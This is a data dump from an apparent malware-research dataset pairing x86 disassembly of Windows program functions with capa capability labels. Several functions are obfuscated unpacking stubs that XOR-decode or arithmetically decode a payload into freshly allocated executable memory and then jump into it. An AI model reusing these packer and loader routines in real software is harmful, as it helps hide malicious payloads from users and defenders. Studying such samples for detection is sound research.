joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100a2610
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x33c2478
mov eax, dword fs:[0]
push eax
sub esp, 0x80
mov eax, dword [0x340a6ec]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x84], ecx
movzx eax, byte [ebp + 0x10]
push eax
lea ecx, [ebp - 0x48]
push ecx
mov ecx, dword [ebp - 0x84]
call fcn.100a24f0
mov dword [ebp - 4], 0
xor edx, edx
cmp dword [ebp - 0x38], 0
sete dl
movzx eax, dl
test eax, eax
jne 0x100a272b
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x48]
call fcn.100a9470
mov dword [ebp - 0x88], eax
mov edx, dword [ebp - 0x88]
mov dword [ebp - 0x54], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x54]
cmp dword [eax + 0x14], 0x10
jb 0x100a26a5
mov ecx, dword [ebp - 0x54]
mov edx, dword [ecx]
mov dword [ebp - 0x8c], edx
jmp 0x100a26ae
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x8c], eax
push 0x33d785c
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.10137f2a
add esp, 8
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 2
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.100444a0
mov byte [ebp - 4], 0
cmp dword [ebp - 0x4c], 0
je 0x100a272b
mov edx, dword [ebp - 0x4c]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 1
mov ecx, dword [ebp + 8]
push ecx
call fcn.10138221
add esp, 0x10
mov edx, dword [ebp - 0x4c]
push edx
call fcn.10137b93
add esp, 4
mov byte [ebp - 0x4d], 1
mov dword [ebp - 4], 3
mov dword [ebp - 4], 4
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.1006cc20
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x4d]
jmp 0x100a2753
mov byte [ebp - 0x4e], 0
mov dword [ebp - 4], 5
mov dword [ebp - 4], 6
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.1006cc20
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x4e]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10133eba
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100a2770
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x33c24d8
mov eax, dword fs:[0]
push eax
sub esp, 0x84
mov eax, dword [0x340a6ec]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x88], ecx
movzx eax, byte [ebp + 0x10]
push eax
lea ecx, [ebp - 0x48]
push ecx
mov ecx, dword [ebp - 0x88]
call fcn.100a24f0
mov dword [ebp - 4], 0
xor edx, edx
cmp dword [ebp - 0x38], 0
sete dl
movzx eax, dl
test eax, eax
jne 0x100a2898
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x48]
call fcn.100a9470
mov dword [ebp - 0x8c], eax
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x58], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x58]
cmp dword [eax + 0x14], 0x10
jb 0x100a2805
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx]
mov dword [ebp - 0x90], edx
jmp 0x100a280e
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x90], eax
push 0x33d748c
mov ecx, dword [ebp - 0x90]
push ecx
call fcn.10137f2a
add esp, 8
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 2
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.100444a0
mov byte [ebp - 4], 0
cmp dword [ebp - 0x4c], 0
je 0x100a2898
mov edx, dword [ebp - 0x4c]
push edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call fcn.10137e51
add esp, 0x10
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
mov edx, dword [ebp - 0x4c]
push edx
call fcn.10137b93
add esp, 4
mov byte [ebp - 0x51], 1
mov dword [ebp - 4], 3
mov dword [ebp - 4], 4
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.1006cc20
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x51]
jmp 0x100a28c0
mov byte [ebp - 0x52], 0
mov dword [ebp - 4], 5
mov dword [ebp - 4], 6
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.1006cc20
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x52]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10133eba
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100c88c0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], 0xefcdab89
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0x10325476
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.100c6cd0
add esp, 0xc
pop ebp
ret
Function at 0x100e4ff0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax + 0x9c0], 0x270
jne 0x100e5010
mov ecx, dword [ebp - 8]
call fcn.100e5100
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x9c0]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + edx*4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x9c0]
add eax, 1
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x9c0], eax
mov edx, dword [ebp - 4]
shr edx, 0xb
xor edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
shl eax, 7
and eax, 0x9d2c5680
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
shr edx, 0x12
xor edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x100e56c0
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
movzx eax, byte [0x3419158]
test eax, eax
je 0x100e56d7
jmp 0x100e5786
mov dword [ebp - 8], 0x80000000
mov byte [ebp - 2], 0x80
mov byte [ebp - 1], 0
mov dword [ebp - 0xc], 0
mov byte [ebp - 0xd], 0x80
jmp 0x100e56fb
mov cl, byte [ebp - 0xd]
shr cl, 1
mov byte [ebp - 0xd], cl
movzx edx, byte [ebp - 0xd]
test edx, edx
je 0x100e5745
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp - 0xd]
and eax, ecx
je 0x100e571b
mov edx, dword [ebp - 0xc]
xor edx, 0x80000000
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
and eax, 0x80000000
je 0x100e573b
mov ecx, dword [ebp - 0xc]
shl ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
xor edx, 0x4c11db7
mov dword [ebp - 0xc], edx
jmp 0x100e5743
mov eax, dword [ebp - 0xc]
shl eax, 1
mov dword [ebp - 0xc], eax
jmp 0x100e56f3
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.100e5630
add esp, 4
mov esi, eax
movzx edx, byte [ebp - 1]
push edx
call fcn.100e5810
add esp, 4
movzx eax, al
mov dword [eax*4 + 0x3418d58], esi
mov cl, byte [ebp - 1]
add cl, 1
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
test edx, edx
jne 0x100e56e6
mov byte [0x3419158], 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100e58d0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
call fcn.100e5970
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
and ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [edx], ecx
mov eax, dword [ebp - 8]
mov dword [eax + 0x9c0], 1
jmp 0x100e5912
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x9c0]
add edx, 1
mov eax, dword [ebp - 8]
mov dword [eax + 0x9c0], edx
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0x9c0], 0x270
jae 0x100e5967
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x9c0]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x9c0]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + edx*4 - 4]
shr edx, 0x1e
mov ecx, dword [ebp - 8]
xor edx, dword [ecx + eax*4 - 4]
imul edx, edx, 0x6c078965
mov eax, dword [ebp - 8]
add edx, dword [eax + 0x9c0]
and edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + 0x9c0]
mov ecx, dword [ebp - 8]
mov dword [ecx + eax*4], edx
jmp 0x100e58fd
mov esp, ebp
pop ebp
ret 4
Function at 0x101309f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x33cff60
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x340a6ec]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
mov dword [esi + 4], 0
push 0x33db8b4
lea ecx, [esp + 0x10]
mov dword [esp + 0x3c], 0
mov dword [esi], 0x33db99c
call fcn.1006e090
mov byte [esp + 0x38], 1
call fcn.1012fe7e
lea ecx, [esp + 0xc]
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
mov byte [esp + 0x38], 0
call fcn.1006e1a0
mov dword [esi], 0x33db9c0
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x34
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x73aa332d
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
nop
cmp eax, 0
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x699a3ce3
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x409380
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40938f
pop dword [ebp - 0xc]
mov eax, 0x4e934fbd
sub eax, 0x4e52bc2e
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x8ce70972
sub dword [ebp - 0x1c], 0x3e94c427
mov dword [ebp - 0x18], 0x4ddf9ebd
sub dword [ebp - 0x18], 0x1bac5278
mov dword [ebp - 0x14], 0x90176603
sub dword [ebp - 0x14], 0x43cb21d5
mov dword [ebp - 0x10], 0xbe3fd165
add dword [ebp - 0x10], 0x41c02e9b
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x34815e5d
sub eax, 0x343f9e0d
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x376996b7
add dword [ebp - 0x1c], 0x3d08d29f
mov dword [ebp - 0x18], 0x35345e44
add dword [ebp - 0x18], 0xc380331
mov dword [ebp - 0x14], 0x2ae4c4e3
sub dword [ebp - 0x14], 0xc7755877
mov dword [ebp - 0x10], 0x7a7808c4
sub dword [ebp - 0x10], 0x7a7808c4
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x617133f6
add eax, 0x9ed08c56
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3dcf6
push 0
call eax
mov ecx, 0xdd9a2144
sub ecx, 0xdd99d030
xor ebx, ebx
add ebx, eax
mov esi, 0x3c10e8b0
add esi, 0xc4324150
add esi, dword [ebp - 0xc]
mov edi, 0x6f2c5903
add edi, 0xa08f13c0
sub dword [ebp - 4], 0xad32bdc5
mov edx, dword [esi]
sub dword [ebp - 8], ecx
sub edx, edi
mov dword [ebx], edx
xor dword [ebp - 4], 0x55d5d575
add ebx, 4
add esi, 4
loop 0x4094b3
add eax, 0x13723
xor ebx, ebx
add ebx, eax
add eax, 0xe5f76e26
add eax, 0x1a0891df
mov ecx, 0x26f9ebb2
sub ecx, 0x26b9ebb2
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x4098e8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424070]
jne 0x4098f2
repz ret
jmp fcn.004114ed
Function at 0x401007
Capabilities:
Delete file
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [0x4ac718]
mov dword [ebp - 0x28], eax
mov eax, dword [0x4ac71c]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], ecx
call fcn.00401000
mov eax, dword [0x4ac720]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [0x4ac724]
add ebx, 0x23f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x20
jmp 0x40105c
xor ecx, ecx
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x4bb974], 0xc
mov dword [ebp - 4], eax
jne 0x401086
push ecx
lea eax, [ebp - 0x30]
push eax
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x4bb974]
cmp eax, 0xfa9
jne 0x4010a2
mov dword [0x4bb970], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010c7
push str.likavarepuyazahiwexanegiwitetu
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
and dword [0x4bb8c8], 0
lea eax, [ebx + edi]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x14], 0
mov dword [0x4bb96c], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
sub esi, eax
mov dword [ebp - 8], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
lea eax, [ebx + esi]
mov dword [ebp - 0x18], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x2c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
cmp dword [0x4bb974], 0xb03
jne 0x401142
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 8]
add ebx, 0x61c88647
sub edi, eax
dec dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], edi
jne 0x40105a
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebx
leave
ret 4
Function at 0x401015
Capabilities:
Delete file
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [0x4ac718]
mov dword [ebp - 0x28], eax
mov eax, dword [0x4ac71c]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], ecx
call fcn.00401000
mov eax, dword [0x4ac720]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [0x4ac724]
add ebx, 0x23f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x20
jmp 0x40105c
xor ecx, ecx
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x4bb974], 0xc
mov dword [ebp - 4], eax
jne 0x401086
push ecx
lea eax, [ebp - 0x30]
push eax
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x4bb974]
cmp eax, 0xfa9
jne 0x4010a2
mov dword [0x4bb970], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010c7
push str.likavarepuyazahiwexanegiwitetu
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
and dword [0x4bb8c8], 0
lea eax, [ebx + edi]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x14], 0
mov dword [0x4bb96c], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
sub esi, eax
mov dword [ebp - 8], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
lea eax, [ebx + esi]
mov dword [ebp - 0x18], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x2c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
cmp dword [0x4bb974], 0xb03
jne 0x401142
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 8]
add ebx, 0x61c88647
sub edi, eax
dec dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], edi
jne 0x40105a
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebx
leave
ret 4
Function at 0x4078ef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ab88c]
jne 0x4078f9
repz ret
jmp fcn.0040bbbf

Function at 0x40b5ad
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406138
and dword [ebp - 4], 0
cmp dword [0x4b0964], 0
mov ebx, eax
jne 0x40b65e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b70f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b70f
push eax
call fcn.004060c6
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4b0964], eax
call esi
push eax
call fcn.004060c6
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4b0968], eax
call esi
push eax
call fcn.004060c6
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4b096c], eax
call esi
push eax
call fcn.004060c6
pop ecx
mov dword [0x4b0974], eax
test eax, eax
je 0x40b65e
push 0x4a7f08
push edi
call esi
push eax
call fcn.004060c6
pop ecx
mov dword [0x4b0970], eax
mov eax, dword [0x4b0970]
cmp eax, ebx
je 0x40b6b6
cmp dword [0x4b0974], ebx
je 0x40b6b6
push eax
call fcn.00406141
push dword [0x4b0974]
mov esi, eax
call fcn.00406141
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b6b6
test edi, edi
je 0x40b6b6
call esi
test eax, eax
je 0x40b6ad
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b6ad
test byte [ebp - 0xc], 1
jne 0x40b6b6
or dword [ebp + 0x10], 0x200000
jmp 0x40b6ef
mov eax, dword [0x4b0968]
cmp eax, ebx
je 0x40b6ef
push eax
call fcn.00406141
pop ecx
test eax, eax
je 0x40b6ef
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b6ef
mov eax, dword [0x4b096c]
cmp eax, ebx
je 0x40b6ef
push eax
call fcn.00406141
pop ecx
test eax, eax
je 0x40b6ef
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4b0964]
call fcn.00406141
pop ecx
test eax, eax
je 0x40b70f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b711
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003bf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10003bff
pop dword [ebp - 0x24]
mov eax, 0x7fc28770
add eax, 0x903db48f
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xa4fa47fc
sub dword [ebp - 0x34], 0x56a802b1
mov dword [ebp - 0x30], 0x6f0a840e
add dword [ebp - 0x30], 0xc328c837
mov dword [ebp - 0x2c], 0x1a1432f5
add dword [ebp - 0x2c], 0x32381139
mov dword [ebp - 0x28], 0xd65b752f
add dword [ebp - 0x28], 0x29a48ad1
lea eax, [ebp - 0x34]
push eax
mov eax, 0x976201e6
add eax, 0x789feebe
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x2775873
sub dword [ebp - 0x34], 0x8e04ef1d
mov dword [ebp - 0x30], 0xa9cbaa9c
add dword [ebp - 0x30], 0x97a0b6d9
mov dword [ebp - 0x2c], 0xc7a13637
add dword [ebp - 0x2c], 0x9bce3635
mov dword [ebp - 0x28], 0x96e58ea
sub dword [ebp - 0x28], 0x96e58ea
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3e4ee
push 0
call eax
mov ecx, 0xa6e3489b
sub ecx, 0xa6e2f4f0
mov ebx, eax
mov esi, 0x10029a00
add esi, dword [ebp - 0x24]
mov edi, 0x34a2ff01
sub edi, 0xb5c9300e
sub dword [ebp - 0x1c], edi
mov edx, dword [esi]
add dword [ebp - 0x14], edx
add edx, edi
xor dword [ebp - 0x10], edx
mov dword [ebx], edx
xor dword [ebp - 0x14], 0x670f5ec3
add ebx, 4
add esi, 0xe282a4a5
sub esi, 0xe282a4a1
loop 0x10003d16
add eax, 0x1417f
xor ebx, ebx
add ebx, eax
add eax, 0xe36ae54a
sub eax, 0xe36ae545
mov ecx, 0x222ba3d3
add ecx, 0xedd45c2d
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x1001cc37
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x1001ccba
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x1001cc84
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x1001cc84
cmp edi, ebx
jge 0x1001cc84
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x1001ccb4
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x1001ccb4
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x1001cccc
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc
Function at 0x1001cf62
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
cmp byte [0x100269c0], al
je 0x1001cf99
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cffd
push 0x103
push eax
mov byte [ebp - 0x108], al
lea eax, [ebp - 0x107]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10003bf0
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10003bf0
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
push ebx
lea eax, [ebp - 0x108]
push eax
call fcn.10003bf0
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001ddeb
leave
ret 0x10

Function at 0x1001d00e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001d03a
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001d06b
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001d069
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10003bf0
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001d06b
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1001ddeb
leave
ret 8

Function at 0x1001d106
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
mov eax, dword [ebp + 8]
je 0x1001d12e
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001d148
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10003bf0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.1001ddeb
leave
ret 4

Function at 0x1001ddeb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100268b0]
jne 0x1001ddf5
repz ret
jmp fcn.1001e62c
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
